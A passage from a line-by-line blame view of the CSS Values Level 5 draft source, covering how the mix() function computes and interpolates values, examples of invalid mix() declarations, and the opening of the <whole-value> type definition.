href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l408" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1176" id="l1176"> 1176</a> </td> <td class="source"> the [=computed value=] of ''mix()'' is </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l409" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1177" id="l1177"> 1177</a> </td> <td class="source"> the result of interpolating these two values </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l410" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1178" id="l1178"> 1178</a> </td> <td class="source"> to the progress given by <<progress>>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l411" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1179" id="l1179"> 1179</a> </td> <td class="source"> Otherwise, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l412" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1180" id="l1180"> 1180</a> </td> <td class="source"> the [=computed value=] of ''mix()'' is </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l413" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1181" id="l1181"> 1181</a> </td> <td class="source"> the ''mix()'' [=functional notation=] itself </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l414" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1182" id="l1182"> 1182</a> </td> <td class="source"> with its <<progress>> value computed </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/550264e20f2b/css-values-5/Overview.bs#l442" title="550264e20f2b: [css-values-5][editorial] Fix some lingering <declaration-value> references. #9341">jackalmage@30490</a> </td> <td class="lineno"> <a href="#l1183" id="l1183"> 1183</a> </td> <td class="source"> and its <<whole-value>>s (if provided) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l416" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1184" id="l1184"> 1184</a> </td> <td class="source"> computed as values for this property. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l417" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1185" id="l1185"> 1185</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l418" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1186" id="l1186"> 1186</a> </td> <td class="source"> <div class="example"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l419" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1187" id="l1187"> 1187</a> </td> <td class="source"> For example, most uses of ''mix()'' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l420" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1188" id="l1188"> 1188</a> </td> <td class="source"> will resolve at computed-value time: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l421" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1189" id="l1189"> 1189</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l422" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1190" id="l1190"> 1190</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/dffdfb9bc6fc/css-values-5/Overview.bs#l638" title="dffdfb9bc6fc: [css-values-5][editorial] Swap all possible examples to using commas rather than semicolons. #10670">jackalmage@31413</a> </td> <td class="lineno"> <a href="#l1191" id="l1191"> 1191</a> </td> <td class="source"> color: mix(90%, red, blue); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l424" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1192" id="l1192"> 1192</a> </td> <td class="source"> /* via simple interpolation, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l425" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1193" id="l1193"> 1193</a> </td> <td class="source"> computes to: */ </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l426" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1194" id="l1194"> 1194</a> </td> <td class="source"> color: rgb(10% 0 90%); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l427" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1195" id="l1195"> 1195</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/dffdfb9bc6fc/css-values-5/Overview.bs#l643" title="dffdfb9bc6fc: [css-values-5][editorial] Swap all possible examples to using commas rather than semicolons. #10670">jackalmage@31413</a> </td> <td class="lineno"> <a href="#l1196" id="l1196"> 1196</a> </td> <td class="source"> color: mix(90%, currentcolor, black); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l429" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1197" id="l1197"> 1197</a> </td> <td class="source"> /* can't be fully resolved at computed-value time, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l430" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1198" id="l1198"> 1198</a> </td> <td class="source"> but still has a defined representation: */ </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l431" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1199" id="l1199"> 1199</a> </td> <td class="source"> color: color-mix(currentcolor 90%, black 10%); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l432" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1200" id="l1200"> 1200</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/dffdfb9bc6fc/css-values-5/Overview.bs#l648" title="dffdfb9bc6fc: [css-values-5][editorial] Swap all possible examples to using commas rather than semicolons. #10670">jackalmage@31413</a> </td> <td class="lineno"> <a href="#l1201" id="l1201"> 1201</a> </td> <td class="source"> float: mix(90%, left, right); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l434" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1202" id="l1202"> 1202</a> </td> <td class="source"> /* discretely animatable */ </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l435" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1203" id="l1203"> 1203</a> </td> <td class="source"> float: right; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l436" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1204" id="l1204"> 1204</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l437" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1205" id="l1205"> 1205</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l438" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1206" id="l1206"> 1206</a> </td> <td class="source"> But a few cases don't have an intermediate representation: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l439" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1207" id="l1207"> 1207</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l440" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1208" id="l1208"> 1208</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/dffdfb9bc6fc/css-values-5/Overview.bs#l656" title="dffdfb9bc6fc: [css-values-5][editorial] Swap all possible examples to using commas rather than semicolons. #10670">jackalmage@31413</a> </td> <td class="lineno"> <a href="#l1209" id="l1209"> 1209</a> </td> <td class="source"> transform: mix(90%, translate(calc(1em + 50%)), rotate(30deg)); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l442" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1210" id="l1210"> 1210</a> </td> <td class="source"> /* because functions don't match, it will interpolate </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l443" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1211" id="l1211"> 1211</a> </td> <td class="source"> via matrix(). But translate(%) needs layout </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l444" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1212" id="l1212"> 1212</a> </td> <td class="source"> information to turn into a matrix(), so the </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l445" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1213" id="l1213"> 1213</a> </td> <td class="source"> interpolated value can't actually be represented. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l446" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1214" id="l1214"> 1214</a> </td> <td class="source"> Computes to: */ </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/dffdfb9bc6fc/css-values-5/Overview.bs#l662" title="dffdfb9bc6fc: [css-values-5][editorial] Swap all possible examples to using commas rather than semicolons. #10670">jackalmage@31413</a> </td> <td class="lineno"> <a href="#l1215" id="l1215"> 1215</a> </td> <td class="source"> transform: mix(90%, translate(calc(16px + 50%)), rotate(30deg)); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l448" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1216" id="l1216"> 1216</a> </td> <td class="source"> transform: mix(90% of ripple); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l449" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1217" id="l1217"> 1217</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l450" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1218" id="l1218"> 1218</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l451" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1219" id="l1219"> 1219</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l478" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1220" id="l1220"> 1220</a> </td> <td class="source"> The ''mix()'' notation is a <<whole-value>>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l479" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1221" id="l1221"> 1221</a> </td> <td class="source"> Additionally, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l480" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1222" id="l1222"> 1222</a> </td> <td class="source"> if any of its <<whole-value>> arguments are [=not animatable=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l481" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1223" id="l1223"> 1223</a> </td> <td class="source"> the notation is invalid. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l458" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1224" id="l1224"> 1224</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l459" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1225" id="l1225"> 1225</a> </td> <td class="source"> <div class="example"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l460" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1226" id="l1226"> 1226</a> </td> <td class="source"> For example, the following declarations are invalid, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l461" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1227" id="l1227"> 1227</a> </td> <td class="source"> and will be ignored: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l462" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1228" id="l1228"> 1228</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l463" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1229" id="l1229"> 1229</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l464" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1230" id="l1230"> 1230</a> </td> <td class="source"> /* Invalid start value */ </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/dffdfb9bc6fc/css-values-5/Overview.bs#l678" title="dffdfb9bc6fc: [css-values-5][editorial] Swap all possible examples to using commas rather than semicolons. #10670">jackalmage@31413</a> </td> <td class="lineno"> <a href="#l1231" id="l1231"> 1231</a> </td> <td class="source"> color: mix(90%, #invalid, #F00); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l466" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1232" id="l1232"> 1232</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l467" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1233" id="l1233"> 1233</a> </td> <td class="source"> /* Function is mixed with other values */ </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/dffdfb9bc6fc/css-values-5/Overview.bs#l681" title="dffdfb9bc6fc: [css-values-5][editorial] Swap all possible examples to using commas rather than semicolons. #10670">jackalmage@31413</a> </td> <td class="lineno"> <a href="#l1234" id="l1234"> 1234</a> </td> <td class="source"> background: url(ocean) mix(10%, blue, yellow); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l469" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1235" id="l1235"> 1235</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l470" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1236" id="l1236"> 1236</a> </td> <td class="source"> /* 'animation-*' is not animatable */ </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/dffdfb9bc6fc/css-values-5/Overview.bs#l684" title="dffdfb9bc6fc: [css-values-5][editorial] Swap all possible examples to using commas rather than semicolons. #10670">jackalmage@31413</a> </td> <td class="lineno"> <a href="#l1237" id="l1237"> 1237</a> </td> <td class="source"> animation-delay: mix(0%, 0s, 2s); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l472" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1238" id="l1238"> 1238</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l473" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1239" id="l1239"> 1239</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l474" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1240" id="l1240"> 1240</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l527" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l1241" id="l1241"> 1241</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l528" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l1242" id="l1242"> 1242</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l538" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l1252" id="l1252"> 1252</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/f5b9e5f9ccf0/css-values-5/Overview.bs#l113" title="f5b9e5f9ccf0: [css-values-5] More sensible heading structure">fantasai@30348</a> </td> <td class="lineno"> <a href="#l1253" id="l1253"> 1253</a> </td> <td class="source"><h2 id="value-insert"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/f5b9e5f9ccf0/css-values-5/Overview.bs#l114" title="f5b9e5f9ccf0: [css-values-5] More sensible heading structure">fantasai@30348</a> </td> <td class="lineno"> <a href="#l1254" id="l1254"> 1254</a> </td> <td class="source">Miscellaneous Value Substituting Functions</h2> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l108" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l1255" id="l1255"> 1255</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l502" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1256" id="l1256"> 1256</a> </td> <td class="source"><h3 id="whole-value" type lt="<whole-value>"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l503" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1257" id="l1257"> 1257</a> </td> <td class="source">Representing An Entire Property Value: the <<whole-value>> type</h3> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l504" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1258" id="l1258"> 1258</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l505" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1259" id="l1259"> 1259</a> </td> <td class="source"> Several functions defined in this specification </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l506" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1260" id="l1260"> 1260</a> </td> <td class="source"> can only be used as the "whole value" of a property. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l507" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1261" id="l1261"> 1261</a> </td> <td class="source"> For example, ''background-position: toggle(50px 50px, center);'' is valid, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l508" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1262" id="l1262"> 1262</a> </td> <td class="source"> but ''background-position: toggle(50px, center) 50px;'' is not. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l509" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1263" id="l1263"> 1263</a> </td> <td class="source"> The <<whole-value>> production represents these values. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l510" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1264" id="l1264"> 1264</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l511" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1265" id="l1265"> 1265</a> </td> <td class="source"> All properties implicitly accept a <<whole-value>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l512" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1266" id="l1266"> 1266</a> </td> <td class="source"> as their entire value, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l513" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1267" id="l1267"> 1267</a> </td> <td class="source"> just as they accept the [=CSS-wide keywords=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l514" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1268" id="l1268"> 1268</a> </td> <td class="source"> as their entire value. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l515" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1269" id="l1269"> 1269</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l516" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1270" id="l1270"> 1270</a> </td> <td class="source"> When used as a component value of a function, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l517" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1271" id="l1271"> 1271</a> </td> <td class="source"> <<whole-value>> also represents any CSS value </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l518" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1272" id="l1272"> 1272</a> </td> <td class="source"> normally valid as the whole value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l519" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1273" id="l1273"> 1273</a> </td> <td class="source"> of the property in which it is used </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l520" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1274" id="l1274"> 1274</a> </td> <td class="source"> (including additional <<whole-value>> functions). </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l521" title="244cf6881646: 